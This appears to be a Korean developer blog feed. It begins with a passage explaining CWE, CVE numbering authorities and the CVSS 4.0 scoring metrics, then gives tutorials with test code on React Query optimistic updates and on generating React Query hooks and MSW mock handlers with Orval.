CWE-78 - OS 명령어에 사용되는 특수 요소의 부적절한 무효화 (OS Command Injection)
CWE-20 - 부적절한 입력값 확인 (Improper Input Validation - 아주 광범위한 원인)
CWE-119 - 메모리 버퍼의 범위를 벗어난 연산 (Buffer Overflow - C/C++에서 자주 발생)

보안 업계에서는 매년 (또는 주기적으로) 해커들이 가장 많이 악용하고, 치명적인 피해를 입히는 취약점 유형 25가지를 순위를 매긴 ‘CWE Top 25 Most Dangerous Software Weaknesses’라는 리스트를 발표한다.

3. CNA (CVE Numbering Authority)

CVE 번호는 CNA(CVE Numbering Authority)라고 불리는 승인된 기관들에 의해 할당된다. MITRE 외에도 Microsoft, Oracle, Red Hat, Google 등 주요 IT 벤더와 연구 기관들이 CNA로 지정되어 자체 제품이나 발견된 취약점에 대해 CVE 번호를 부여할 권한을 가지고 있다.

CVE가 할당되려면 해당 결함이 독립적으로 수정 가능해야 하고, 벤더가 이를 인정하거나 문서화해야 하며, 하나의 코드베이스에 영향을 미쳐야 한다. 취약점이 발견되면 CNA에 보고되고, CNA는 이를 검토하여 CVE ID를 할당한다. 이후 벤더가 패치를 준비하는 동안 비공개(엠바고) 상태로 유지되다가, 해결책이 마련되면 공개된다.

4. CVSS (Common Vulnerability Scoring System)

CVSS(Common Vulnerability Scoring System)는 컴퓨터 시스템의 보안 취약점 심각도를 평가하고 수치화하기 위한 개방형 프레임워크이자 표준이다. 앞서 설명한 CVE가 취약점을 식별하는 ‘이름(고유 번호)’이라면, CVSS는 그 취약점이 얼마나 위험한지를 알려주는 ‘점수’다. CVSS 4.0 버전은 2023년 11월에 공식적으로 공개되었다.

CVSS는 취약점의 심각도를 0.0부터 10.0까지의 점수로 나타내며, 숫자가 클수록 더 치명적이고 위험한 취약점을 의미한다. 이 수치는 관리자가 쉽게 파악할 수 있도록 낮음(Low), 중간(Medium), 높음(High), 심각(Critical)과 같은 정성적인 등급으로 변환되어 사용된다.

CVSS 4.0 버전 명세에서 취약점 심각도 점수를 정하는 평가 지표(metrics)는 다음과 같다.

기본 지표 (Base Metrics): 환경이나 시간에 따라 변하지 않는 취약점 고유의 위험성을 평가한다.
- 익스플로잇(exploit) 가능성: 공격 경로, 복잡성, 필요 권한 등 공격이 얼마나 쉬운지 평가한다.
- 영향도: 공격 성공 시 ‘취약한 시스템’과 연결된 ‘후속 시스템’이 받는 피해를 각각 분리하여 기밀성, 무결성, 가용성 관점에서 평가를 내린다.
위협 지표 (Threat Metrics): 시간이 지남에 따라 변하는 실제 공격 발생 가능성을 반영한다. 현재 익스플로잇 코드의 유효성이나 실제 공격 발생 여부를 나타낸다. 확인된 실제 공격(A), 개념 증명 단계(P), 보고되지 않음(U), 정의 안 됨(X)으로 구분된다.
환경적 지표 (Environmental Metrics): 해당 취약점이 존재하는 조직의 특정 IT 환경이나 보안 방어책을 반영하여 맞춤형 점수로 조정하기 위한 지표다.
보충 지표 (Supplemental Metrics): v4.0에 새로 도입된 지표로, 최종 점수에는 영향을 주지 않지만 대응에 필요한 추가적인 맥락을 제공한다. 최종 CVSS 점수 수치에는 직접적인 영향을 주지 않지만, 취약점 관리를 위한 부가적인 판단 근거(맥락)를 제공하는 완전히 새로운 지표 그룹이다.

익스플로잇 가능성은 해당 취약점의 본질적인 약점을 의미한다. 익스플로잇 가능성에 대해 더 자세히 들여다보자. 크게 5가지로 분류한다.

공격 벡터 (Attack Vector, AV)
공격 복잡성 (Attack Complexity, AC)
공격 요구사항 (Attack Requirements, AT)
필요 권한 (Privileges Required, PR)
사용자 상호작용 (User Interaction, UI)

공격 벡터는 취약점 악용이 가능한 접근 경로(물리적, 논리적 거리)를 평가한다. 원격에서 공격이 가능할수록 더 많은 잠재적 공격자에게 노출되므로 위험도가 높아진다.

네트워크(N): 인터넷 전체를 포함하여 원격 네트워크를 통해 공격 가능한 경우.
인접망(A): 블루투스, 로컬 서브넷 등 논리적/물리적으로 인접한 네트워크 환경에서만 공격 가능한 경우.
로컬(L): 네트워크가 아닌 로컬 접근(키보드, SSH 등)이나 사용자의 상호작용에 의존해야 공격 가능한 경우.
물리적(P): 공격자가 취약한 시스템을 직접 만지거나 조작해야 하는 경우.

공격 복잡성은 공격자가 시스템에 기본 내장된 보안 향상 기능을 적극적으로 우회하기 위해 필요한 노력의 정도다.

낮음(L): 우회를 위한 특별한 조치가 필요 없고, 반복적으로 공격 성공을 기대할 수 있는 경우.
높음(H): 공격 성공을 위해 타겟 고유의 비밀값을 수집하거나 방어책을 우회하는 등 특별한 조치가 필요한 경우.

공격 요구사항은 성공적인 공격을 위해 공격자가 통제할 수 없는 타겟 시스템의 특정 배포 및 실행 조건이 미리 갖춰져야 하는지 여부이다.

없음(N): 별도의 조건 없이 취약점 환경에 도달하고 공격을 실행할 수 있는 경우.
존재함(P): 특정 경쟁 상태(Race condition)를 이겨야 하거나 시스템이 특정 상태에 있어야만 공격이 성공하는 경우.

필요 권한은 취약점을 성공적으로 악용하기 전에 공격자가 보유하고 있어야 하는 인증 및 권한 수준이다. 요구되는 권한이 없을수록 점수가 높다.

없음(N): 인증되지 않은 상태에서 공격할 수 있는 경우.
낮음(L): 일반 사용자 수준의 기본적인 접근 권한이 필요한 경우.
높음(H): 관리자와 같이 시스템을 크게 제어할 수 있는 높은 권한이 필요한 경우.

사용자 상호작용은 공격 성공을 위해 공격자 외에 표적이 된 사람(사용자)이 어떤 조치를 취해야 하는지 여부다.

없음(N): 다른 사람의 개입 없이 공격자 단독으로 취약점을 악용할 수 있는 경우.
수동적(P): 사용자가 악성 웹사이트를 방문하거나 악성 파일을 실행하는 등 무의식적이고 제한적인 상호작용이 필요한 경우.
능동적(A): 사용자가 취약한 시스템에 파일을 특정 방식으로 가져오거나 보안 경고를 무시하고 승인하는 등 구체적이고 의식적인 상호작용이 필요한 경우.

REFERENCE

리액트 쿼리(react query) 낙관적 업데이트(optimistic update)

Fri, 13 Feb 2026 00:00:00 +0000

0. 들어가면서

AWS 람다(lambda)를 활용한 서버리스(serverless) 아키텍처를 채택하는 경우 콜드 스타트(cold start) 문제가 발생한다. 람다는 항상 활성화되어 있지 않으므로 사용자 요청이 들어왔을 때 실행하기 위한 부수적인 준비가 필요하고 이로 인해 대략 수초 정도 지연이 발생한다. 사용자는 좋지 않은 경험을 하게 된다.

리액트 쿼리(react query)는 내부적으로 캐시(cache)를 사용한다. 서버 데이터를 클라이언트 메모리에서 보관하고 관리하기 위한 자바스크립트(JavaScript) 객체 스토리지다. 단순히 데이터를 쌓아두는 것이 아니라 데이터의 ‘신선도’에 따라 자동으로 최신화를 시도하는 메커니즘을 가지고 있다.

리액트 쿼리의 캐시 영역을 사용하면 낙관적 업데이트(optimistic update)를 수행할 수 있다. 낙관적 업데이트는 서버의 업데이트가 완료되기 전에 클라이언트에서 관리하는 상태를 미리 업데이트하는 방식이다. 서버에서 에러가 발생하면 클라이언트에서 관리하는 상태를 이전 데이터로 롤백한다. 낙관적 업데이트를 통해 사용자 경험을 개선할 수 있다.

1. Optimistic update in React Query

리액트 쿼리는 낙관적 업데이트로 두 가지 방법을 제공한다.

UI를 통한 방법
캐시를 통한 방법

UI를 통한 방법은 캐시를 직접 조작하지 않는 방법이다. useMutation 훅의 variables와 isPending 상태를 이용한다. 뮤테이션이 진행 중일 때 variables에 담긴 데이터를 UI 목록에 임시로 표시한다. 에러가 발생해도 variables는 초기화되지 않는다. 이를 해결하려면 화면에서 에러 상태를 표시하거나 재시도 버튼을 만들어야 한다. 뮤테이션과 쿼리가 다른 컴포넌트에 있는 경우 useMutationState 훅과 mutationKey를 사용해서 다른 곳에서도 업데이트 진행 중인 변수에 접근할 수 있다.

캐시를 통한 방법은 직접 캐시 데이터를 수정하는 방식이다. 실패 시 롤백 로직이 필요하다. useMutation 훅의 실행 순서를 먼저 이해해야 한다. 다음과 같은 순서로 실행된다.

onMutate 콜백 함수 - 비동기 API 요청 전에 실행
mutationFn 콜백 함수 - 비동기 API 요청을 수행
결과에 따른 분기 실행
- 요청이 성공하면 onSuccess 콜백 함수
- 요청이 실패하면 onError 콜백 함수
onSettled 콜백 함수 - 성공/실패 여부와 상관없이 항상 마지막에 실행

비동기 API 요청을 수행하기 전에 onMutation 콜백 함수에서 다음과 같은 작업이 필요하다.

cancelQueries 함수를 호출해서 진행 중인 재요청(refetch)에 의해 결과가 덮어써지지 않도록 한다.
getQueryData 함수로 현재 데이터 스냅샷을 임시 변수에 저장한다.
setQueryData 함수로 캐시를 새로운 값으로 즉시 업데이트한다.
임시 변수에 저장한 스냅샷 데이터를 반환한다.

에러가 발생하는 경우를 위해 onError 콜백 함수에서 롤백 처리를 수행한다. onMutation 콜백 함수에서 반환한 스냅샷 데이터가 파라미터로 전달되므로 이를 이용해 캐시를 원래 상태로 되돌린다. API 요청이 완료되면 성공, 실패 여부와 상관없이 onSettled 콜백 함수에서 invalidateQueries 함수를 호출하여 서버의 최신 데이터를 다시 가져와 동기화한다.

2. Optimistic update via cache

예제 코드는 이전 글에서 사용한 예제에 낙관적 업데이트에 관련된 코드를 추가했다. 낙관적 업데이트 테스트를 위해 MSW 모의 서버의 응답을 지연시키려면 약간의 스킬이 필요하다. 먼저 캐시를 사용한 낙관적 업데이트를 해보자.

MSW 모의 서버의 응답을 스터빙한다. TODO 생성 요청에서 Promise 객체를 반환한다. Promise 객체의 resolve 함수는 로컬 변수에 저장한다. resolve 함수가 호출되기 전까지는 모의 서버의 응답이 지연된다. TODO 리스트 조회에 대한 응답으로 생성 요청의 바디 메시지를 활용한다.
해야 할 일을 등록한다.
낙관적 업데이트로 인해 서버 요청이 완료되지 않았음에도 새로운 항목이 화면에 보이는지 확인한다.
TODO 생성 요청에서 가로챈 resolve 함수를 호출해서 대기 중인 응답을 풀어준다.
리액트 쿼리의 캐시를 무효화시켜 TODO 리스트를 재조회했을 때 예상되는 항목이 보이는지 확인한다.

describe("optimistic update via cache", () => {
  test("업데이트 요청이 완료되지 않은 상태인 경우에도, 화면에 새로운 해야 할 일(todo)가 등록된 것처럼 보인다.", async () => {
    // [1]
    let requestBody: TodoCreate | null = null;
    let resolvePromise: (todo: Todo) => void = () => {};
    server.use(
      getGetTodosMockHandler(() =>
        requestBody ? [{ ...requestBody, id: 1 }] : [],
      ),
    );
    server.use(
      getPostTodosMockHandler(async (info) => {
        requestBody = (await info.request.json()) as TodoCreate;
        return new Promise((resolve) => {
          resolvePromise = resolve;
        });
      }),
    );
    render(withQueryProvider(<AppViaCache />));

    // [2]
    await userEvent.type(
      screen.getByPlaceholderText("해야할 일"),
      "블로그 쓰기",
    );
    await userEvent.click(screen.getByRole("button", { name: "등록" }));

    // [3]
    const optimisticTodo = await screen.findByText("블로그 쓰기");
    expect(optimisticTodo).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(optimisticTodo.parentElement!).getByRole("checkbox"),
    ).not.toBeChecked();

    // [4]
    resolvePromise({} as unknown as Todo);

    // [5]
    const firstTodo = await screen.findByText("블로그 쓰기");
    expect(firstTodo).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(firstTodo.parentElement!).getByRole("checkbox"),
    ).not.toBeChecked();
  });

  ...

});

구현 코드는 아래와 같다. 요청을 취소하고, 캐시에 저장된 데이터를 메모리상에서 변경하는 코드가 필요하다.

onMutate 콜백 함수
1. cancelQueries 함수를 호출해서 진행 중인 재요청에 의해 결과가 덮어써지지 않도록 한다.
2. getQueryData 함수로 현재 데이터를 임시 변수에 저장한다.
3. setQueryData 함수로 캐시를 새로운 값으로 즉시 업데이트한다.
4. 임시 변수에 저장된 이전 상태 데이터를 반환한다.
onError 콜백 함수
- 에러가 발생한 경우 onMutate 콜백 함수에서 반환한 이전 상태 객체로 캐시를 롤백한다. onMutate 콜백 함수에서 반환한 이전 상태는 onMutateResult 객체에 담겨 있다.
onSettled 콜백 함수
- TODO 생성 요청이 완료되면 특정 쿼리 키에 해당하는 캐시를 무효화하여 재요청을 수행하여 서버와 동기화한다.

import "./App.css";
import type { AxiosResponse } from "axios";
import { useState } from "react";
import {
  getGetTodosQueryKey,
  useGetTodos,
  usePostTodos,
} from "./apis/todoAPI.ts";
import type { Todo } from "./model";

const TodoItem = ({ todo }: { todo: Todo }) => {
  ...
};

function App() {
  const getTodoQueryKey = getGetTodosQueryKey();
  const { data: todos = { data: [] } } = useGetTodos();
  const { mutate: createTodo } = usePostTodos({
    mutation: {
      onMutate: async (newTodo, context) => {
        // [1]
        await context.client.cancelQueries({ queryKey: getTodoQueryKey });
        // [2]
        const previousState = context.client.getQueryData(getTodoQueryKey);
        // [3]
        context.client.setQueryData(
          getTodoQueryKey,
          (prev: AxiosResponse<Todo[]>) => ({
            ...prev,
            data: [{ ...newTodo.data, id: Math.random() * -1 }, ...prev.data],
          }),
        );
        // [4]
        return { previousState };
      },
      onError: (_err, _newTodo, onMutateResult, context) => {
        if (onMutateResult?.previousState) {
          context.client.setQueryData(
            getTodoQueryKey,
            onMutateResult.previousState,
          );
        }
      },
      onSettled: async (
        _data,
        _error,
        _variables,
        _onMutateResult,
        context,
      ) => {
        await context.client.invalidateQueries({ queryKey: getTodoQueryKey });
      },
    },
  });

  const [item, setItem] = useState("");

  const handleSubmit = async () => {
    createTodo({ data: { title: item, completed: false } });
    setItem("");
  };

  return (
    <div style={ { display: "flex", flexDirection: "column", gap: "1rem" } }>
      <div style={ { display: "flex", gap: "1rem" } }>
        <input
          type="text"
          placeholder="해야할 일"
          onChange={(e) => setItem(e.target.value)}
          value={item}
        />
        <button type="button" onClick={handleSubmit}>
          등록
        </button>
      </div>
      <div>
        {todos.data.map((todo) => (
          <div key={todo.id}>
            <TodoItem todo={todo} />
          </div>
        ))}
      </div>
    </div>
  );
}

export default App;

TODO 생성 요청이 실패했을 때 테스트를 살펴보자. 원리는 위와 동일하지만, 서버 응답에서 resolve 함수가 아니라 reject 함수를 가로채서 사용하면 된다. 위 구현 코드에서 롤백 케이스 테스트도 정상적으로 통과한다.

MSW 모의 서버의 응답을 스터빙한다. TODO 생성 요청에서 Promise 객체를 반환한다. Promise 객체의 reject 함수는 로컬 변수에 저장한다. reject 함수가 호출되기 전까지는 모의 서버의 응답이 지연된다. TODO 리스트 조회에 대한 응답으로 생성 요청의 바디 메시지를 활용한다.
해야 할 일을 등록한다.
낙관적 업데이트로 인해 서버 요청이 완료되지 않았음에도 새로운 항목이 화면에 보이는지 확인한다.
TODO 생성 요청에서 가로챈 reject 함수를 호출해서 대기 중인 응답을 풀어준다.
새로운 TODO 항목이 화면에 보이지 않는지 확인한다.

describe("optimistic update via cache", () => {
  
  ... 

  test("업데이트 요청이 실패한 경우 화면이 이전 상태로 돌아간다.", async () => {
    // [1]
    let rejectPromise: (error: Error) => void = () => {};
    server.use(getGetTodosMockHandler([]));
    server.use(
      getPostTodosMockHandler(async () => {
        return new Promise((_resolve, reject) => {
          rejectPromise = reject;
        });
      }),
    );
    render(withQueryProvider(<AppViaCache />));

    // [2]
    await userEvent.type(
      screen.getByPlaceholderText("해야할 일"),
      "블로그 쓰기",
    );
    await userEvent.click(screen.getByRole("button", { name: "등록" }));

    // [3]
    const optimisticTodo = await screen.findByText("블로그 쓰기");
    expect(optimisticTodo).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(optimisticTodo.parentElement!).getByRole("checkbox"),
    ).not.toBeChecked();

    // [4]
    rejectPromise(new Error("internal server error"));

    // [5]
    await waitFor(() => {
      expect(screen.queryByText("블로그 쓰기")).not.toBeInTheDocument();
    });
  });
});

3. Optimistic update via UI

다음 useMutation 훅의 variables 값과 isPending 플래그를 사용하는 방법을 살펴보자. variables 값은 최초에 undefined이다. mutate 함수를 호출하면 전달된 파라미터가 variables 값으로 지정되고, isPending 플래그는 true 값을 갖는다. 요청이 완료되면 isPending 플래그는 false 값이 되지만, variables 값은 여전히 이전 mutate 함수 호출의 파라미터 값으로 유지된다.

MSW 모의 서버의 응답을 스터빙한다. TODO 생성 요청에서 Promise 객체를 반환한다. Promise 객체의 resolve 함수는 로컬 변수에 저장한다. resolve 함수가 호출되기 전까지는 모의 서버의 응답이 지연된다. TODO 리스트 조회에 대한 응답으로 생성 요청의 바디 메시지를 활용한다.
해야 할 일을 등록한다.
낙관적 업데이트로 인해 서버 요청이 완료되지 않았음에도 새로운 항목이 화면에 보이는지 확인한다.
TODO 생성 요청에서 가로챈 resolve 함수를 호출해서 대기 중인 응답을 풀어준다.
낙관적 업데이트 항목이 보이지 않는지 확인한다.

describe("optimistic update via UI", () => {
  test("업데이트 요청이 완료되지 않은 상태인 경우에도, 화면에 새로운 해야할 일(todo)가 등록된 것처럼 보인다.", async () => {
    // [1]
    let requestBody: TodoCreate | null = null;
    let resolvePromise: (todo: Todo) => void = () => {};
    server.use(
      getGetTodosMockHandler(() =>
        requestBody ? [{ ...requestBody, id: 1 }] : [],
      ),
    );
    server.use(
      getPostTodosMockHandler(async (info) => {
        requestBody = (await info.request.json()) as TodoCreate;
        return new Promise((resolve) => {
          resolvePromise = resolve;
        });
      }),
    );
    render(withQueryProvider(<AppViaUI />));

    // [2]
    await userEvent.type(
      screen.getByPlaceholderText("해야할 일"),
      "블로그 쓰기",
    );
    await userEvent.click(screen.getByRole("button", { name: "등록" }));

    // [3]
    const optimisticTodo = await screen.findByTestId("optimistic-todo-item");
    expect(optimisticTodo).toBeInTheDocument();
    expect(within(optimisticTodo).getByText("블로그 쓰기")).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(optimisticTodo.parentElement!).getByRole("checkbox"),
    ).not.toBeChecked();

    // [4]
    resolvePromise({} as unknown as Todo);

    // [5]
    await waitFor(() => {
      expect(
        screen.queryByTestId("optimistic-todo-item"),
      ).not.toBeInTheDocument();
      const firstTodo = screen.getByText("블로그 쓰기");
      expect(firstTodo).toBeInTheDocument();
      expect(
        // biome-ignore lint/style/noNonNullAssertion: test code
        within(firstTodo.parentElement!).getByRole("checkbox"),
      ).not.toBeChecked();
    });
  });
});

구현은 캐시를 직접 핸들링 하는 방법에 비해 간단하다. isPending 상태인 경우에만 variables 항목을 보여준다.

import "./App.css";
import { useQueryClient } from "@tanstack/react-query";
import { useState } from "react";
import {
  getGetTodosQueryKey,
  useGetTodos,
  usePostTodos,
} from "./apis/todoAPI.ts";
import type { Todo } from "./model";

const TodoItem = ({ todo }: { todo: Todo }) => {
  ...
};

function App() {
  const queryClient = useQueryClient();
  const { data: todos = { data: [] } } = useGetTodos();
  const {
    mutate: createTodo,
    variables,
    isPending,
  } = usePostTodos({
    mutation: {
      onSuccess: async () => {
        await queryClient.invalidateQueries({
          queryKey: getGetTodosQueryKey(),
        });
      },
    },
  });

  const [item, setItem] = useState("");

  const handleSubmit = async () => {
    createTodo({ data: { title: item, completed: false } });
    setItem("");
  };

  return (
    <div style={ { display: "flex", flexDirection: "column", gap: "1rem" } }>
      <div style={ { display: "flex", gap: "1rem" } }>
        <input
          type="text"
          placeholder="해야할 일"
          onChange={(e) => setItem(e.target.value)}
          value={item}
        />
        <button type="button" onClick={handleSubmit}>
          등록
        </button>
      </div>
      <div>
        {isPending && (
          <div data-testid="optimistic-todo-item">
            <TodoItem todo={variables?.data} />
          </div>
        )}
        {todos.data.map((todo) => (
          <div key={todo.id}>
            <TodoItem todo={todo} />
          </div>
        ))}
      </div>
    </div>
  );
}

export default App;

서버에서 에러가 발생한 경우에는 reject 함수를 가로채서 지연 응답과 서버 에러를 재현하면 된다. 테스트 원리는 캐시를 사용했을 때와 동일하다.

CLOSING

예제 코드 서버는 AWS 람다로 구성했다. 람다 핸들러에서 새로운 TODO 항목을 추가할 때 아래처럼 스레드를 3초 멈추는 코드가 있지만, 화면에선 낙관적 업데이트를 통해 먼저 반영되는 것을 볼 수 있다.

const command = new PutCommand({
  TableName: TABLE_NAME,
  Item: newTodo,
});

await sleep(3000); // 3초 대기

await docClient.send(command);

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-02-13-react-query-optimistic-update

REFERENCE

Orval MSW(Mock Service Worker) 핸들러 생성과 React Query 테스트

Wed, 11 Feb 2026 00:00:00 +0000

0. 들어가면서

이전 글에 정리한 것처럼 Orval은 OpenAPI 명세서를 기반으로 RESTful 클라이언트 코드를 생성해주는 CLI 도구다. 앵귤라(angular), 리액트(react), 뷰(vue) 같은 주요 프론트엔드 프레임워크를 모두 지원하고, 다양한 클라이언트 라이브러리를 지원한다. 이전 글은 Orval을 통해 코드 자동 생성에만 초점을 맞췄다. 이번에는 Orval을 통해 MSW(mock service worker) 핸들러를 만들고, 이를 사용해 간단한 테스트 코드를 작성해볼 생각이다. 목 서비스 워커에 대한 개념이 부족하다면 이전 글을 참고하길 바란다.

1. Generate MSW handlers and React Query hooks

이번 예제에서 사용할 OpenAPI 명세서는 이 링크를 참고하길 바란다. 명세서가 길기 때문에 필요한 내용만 부분적으로 살펴본다. 우선 Orval을 통해 코드를 생성해보자. 다음과 같이 Orval 설정 파일(orval.config.js)을 작성한다.

mock 속성을 ‘true’로 설정하면 MWS 목킹을 위한 핸들러 함수들을 생성한다.
client 속성을 ‘react-query’로 설정하면 리액트 쿼리(react query) 커스텀 훅을 생성한다.

import { defineConfig } from "orval";

export default defineConfig({
  api: {
    input: "../api/openapi-specification.yaml",
    output: {
      mode: "split",
      target: "src/apis",
      schemas: "src/model",
      client: "react-query",
      httpClient: "axios",
      mock: true,
    },
  },
});

코드를 자동 생성하기 위해 ‘package.json’에 다음과 같은 스크립트를 추가한다.

{
  "name": "frontend",
  "private": true,
  "version": "0.0.0",
  "type": "module",
  "scripts": {
    ...
    "generate": "orval --config ./orval.config.js",
    ...
  },
  ...
}

터미널에서 아래 명령어를 실행하면 코드가 자동 생성된다.

$ npm run generate

> frontend@0.0.0 generate
> orval --config ./orval.config.js

🍻 orval v8.0.3 - A swagger client generator for typescript
🎉 api - Your OpenAPI spec has been converted into ready to use orval!

생성된 코드를 살펴보자. OpenAPI 명세서에 다음과 같은 API 명세가 작성되어 있다.

/todos 경로에서 모든 할 일 목록을 조회한다.

paths:
  /todos:
    get:
      summary: 모든 할 일 목록 조회
      responses:
        '200':
          description: 성공적인 조회
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: '#/components/schemas/Todo'
...

자동 생성된 리액트 쿼리 훅(hook)은 다음과 같다.

getTodos 함수
- axios를 사용한 쿼리 함수
getGetTodosQueryKey 함수
- URL 경로를 쿼리 키(query key)로 반환
getGetTodosQueryOptions 함수
- useQuery 훅에 필요한 쿼리 함수, 키, 기타 옵션들을 반환
useGetTodos 함수
- useQuery 훅을 비즈니스 케이스에 따라 래핑(wrapping)한 함수

export const getTodos = (
  options?: AxiosRequestConfig,
): Promise<AxiosResponse<Todo[]>> => {
  return axios.default.get(`/todos`, options);
};

export const getGetTodosQueryKey = () => {
  return [`/todos`] as const;
};

export const getGetTodosQueryOptions = <
  TData = Awaited<ReturnType<typeof getTodos>>,
  TError = AxiosError<unknown>,
>(options?: {
  query?: Partial<
    UseQueryOptions<Awaited<ReturnType<typeof getTodos>>, TError, TData>
  >;
  axios?: AxiosRequestConfig;
}) => {
  const { query: queryOptions, axios: axiosOptions } = options ?? {};

  const queryKey = queryOptions?.queryKey ?? getGetTodosQueryKey();

  const queryFn: QueryFunction<Awaited<ReturnType<typeof getTodos>>> = ({
    signal,
  }) => getTodos({ signal, ...axiosOptions });

  return { queryKey, queryFn, ...queryOptions } as UseQueryOptions<
    Awaited<ReturnType<typeof getTodos>>,
    TError,
    TData
  > & { queryKey: DataTag<QueryKey, TData, TError> };
};

export function useGetTodos<
  TData = Awaited<ReturnType<typeof getTodos>>,
  TError = AxiosError<unknown>,
>(
  options?: {
    query?: Partial<
      UseQueryOptions<Awaited<ReturnType<typeof getTodos>>, TError, TData>
    >;
    axios?: AxiosRequestConfig;
  },
  queryClient?: QueryClient,
): UseQueryResult<TData, TError> & {
  queryKey: DataTag<QueryKey, TData, TError>;
} {
  const queryOptions = getGetTodosQueryOptions(options);

  const query = useQuery(queryOptions, queryClient) as UseQueryResult<
    TData,
    TError
  > & { queryKey: DataTag<QueryKey, TData, TError> };

  return { ...query, queryKey: queryOptions.queryKey };
}

자동 생성된 코드는 리액트 쿼리 사용법이 익숙하다면 크게 어려움을 느끼지 않을 것이다. 다음은 자동 생성된 스키마를 살펴보자. OpenAPI 명세서에 정의된 스키마 정보는 다음과 같다.

components:
  schemas:
    Todo:
      type: object
      properties:
        id:
          type: integer
          example: 1
        title:
          type: string
          example: "OpenAPI 공부하기"
        completed:
          type: boolean
          example: false
        createdAt:
          type: string
          format: date-time
...

자동 생성된 스키마는 다음과 같다. OpenAPI 명세서에서 required가 아닌 속성들은 옵셔널로 정의된다.

export interface Todo {
  id?: number;
  title?: string;
  completed?: boolean;
  createdAt?: string;
}

마지막으로 MSW 모의 응답을 만들어주는 핸들러를 살펴보자.

getGetTodosResponseMock 함수
- faker 라이브러리를 통해 랜덤한 Todo 배열 응답을 만든다.
getGetTodosMockHandler 함수
- */todos 경로로 오는 요청에 대한 응답을 스터빙한다.
- 응답은 파라미터를 통해 오버라이드(override)할 수 있다.
getTodoAPIMock 함수
- 생성된 목 핸들러 함수들을 반환한다.

export const getGetTodosResponseMock = (): Todo[] =>
  Array.from(
    { length: faker.number.int({ min: 1, max: 10 }) },
    (_, i) => i + 1,
  ).map(() => ({
    id: faker.helpers.arrayElement([
      faker.number.int({ min: undefined, max: undefined }),
      undefined,
    ]),
    title: faker.helpers.arrayElement([
      faker.string.alpha({ length: { min: 10, max: 20 } }),
      undefined,
    ]),
    completed: faker.helpers.arrayElement([
      faker.datatype.boolean(),
      undefined,
    ]),
    createdAt: faker.helpers.arrayElement([
      `${faker.date.past().toISOString().slice(0, 19)}Z`,
      undefined,
    ]),
  }));

export const getGetTodosMockHandler = (
  overrideResponse?:
    | Todo[]
    | ((
        info: Parameters<Parameters<typeof http.get>[1]>[0],
      ) => Promise<Todo[]> | Todo[]),
  options?: RequestHandlerOptions,
) => {
  return http.get(
    "*/todos",
    async (info) => {
      return new HttpResponse(
        JSON.stringify(
          overrideResponse !== undefined
            ? typeof overrideResponse === "function"
              ? await overrideResponse(info)
              : overrideResponse
            : getGetTodosResponseMock(),
        ),
        { status: 200, headers: { "Content-Type": "application/json" } },
      );
    },
    options,
  );
};

export const getTodoAPIMock = () => [
  getGetTodosMockHandler(),
  getPostTodosMockHandler(),
  getGetTodosIdMockHandler(),
  getPutTodosIdMockHandler(),
  getDeleteTodosIdMockHandler(),
];

2. Using generated hooks

자동 생성된 코드로 테스트 코드와 구현 코드를 작성해보자. 먼저 위에서 생성한 핸들러 코드를 MSW 목 서버에 등록한다. 테스트 환경은 vitest, react-testing-library를 사용했다. Vite에서 테스트 환경을 구축하는 방법은 이 글을 참고하길 바란다. vitest 설정 파일에 다음과 같은 준비 코드를 작성한다.

setupServer 함수에 Orval을 통해 자동 생성된 목 핸들러 함수들을 등록한다.
beforeAll 훅에서 목 서버를 실행한다.
afterEach 훅에서 목 서버의 핸들러를 초기화한다.
afterAll 훅에서 목 서버를 종료한다.

import "@testing-library/jest-dom/vitest";
import { cleanup } from "@testing-library/react";
import { setupServer } from "msw/node";
import { afterAll, afterEach, beforeAll } from "vitest";
import { getTodoAPIMock } from "./src/apis/todoAPI.msw.ts";

export const server = setupServer(...getTodoAPIMock());

beforeAll(() => server.listen());
afterEach(() => {
  server.resetHandlers();
  cleanup();
});
afterAll(() => server.close());

간단한 TODO 애플리케이션을 기준으로 테스트 코드와 구현 코드를 작성한다. 다음과 같은 기능을 제공한다.

이전에 작성한 TODO 항목들이 보인다.
새로운 TODO 항목을 추가할 수 있다.

이전에 작성한 TODO 항목들이 보이는 기능에 대한 테스트 코드는 다음과 같다.

목 서버의 응답을 재정의한다. 자동 생성된 getGetTodosMockHandler 핸들러를 사용한다.
App 화면을 랜더링한다.
목 서버로부터 받은 응답을 기반으로 화면이 표시되는지 확인한다.

import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { render, screen, within } from "@testing-library/react";
import { userEvent } from "@testing-library/user-event/dist/cjs/setup/index.js";
import type { DefaultBodyType } from "msw";
import type { ReactElement } from "react";
import { describe, expect, test } from "vitest";
import { server } from "../vitest-setup.ts";
import App from "./App.tsx";
import {
  getGetTodosMockHandler,
  getPostTodosMockHandler,
} from "./apis/todoAPI.msw.ts";
import type { Todo, TodoCreate } from "./model";

const withQueryProvider = (ui: ReactElement) => {
  return (
    <QueryClientProvider client={new QueryClient()}>{ui}</QueryClientProvider>
  );
};

describe("App", () => {
  test("화면을 보면 이전에 작성된 해야할 일(todo) 항목들이 보인다.", async () => {
    // [1]
    server.use(
      getGetTodosMockHandler([
        { id: 1, title: "테스트 작성하기", completed: true },
        { id: 2, title: "구현 코드 작성하기", completed: false },
      ]),
    );

    // [2]
    render(withQueryProvider(<App />));

    // [3]
    const firstTodo = await screen.findByText("테스트 작성하기");
    expect(firstTodo).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(firstTodo.parentElement!).getByRole("checkbox"),
    ).toBeChecked();
    const secondTodo = await screen.findByText("구현 코드 작성하기");
    expect(secondTodo).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(secondTodo.parentElement!).getByRole("checkbox"),
    ).not.toBeChecked();
  });

  ...

});

다음은 새로운 TODO 항목을 추가하는 기능에 대한 테스트 코드다.

마찬가지로 목 서버의 응답을 재정의한다. 자동 생성된 getPostTodosMockHandler, getGetTodosMockHandler 핸들러를 사용한다. 응답을 단순히 재정의하는 것이 아니라 구현을 재정의한다.
TODO 항목을 입력 후 등록 버튼을 클릭한다.
다음 내용들을 확인한다.
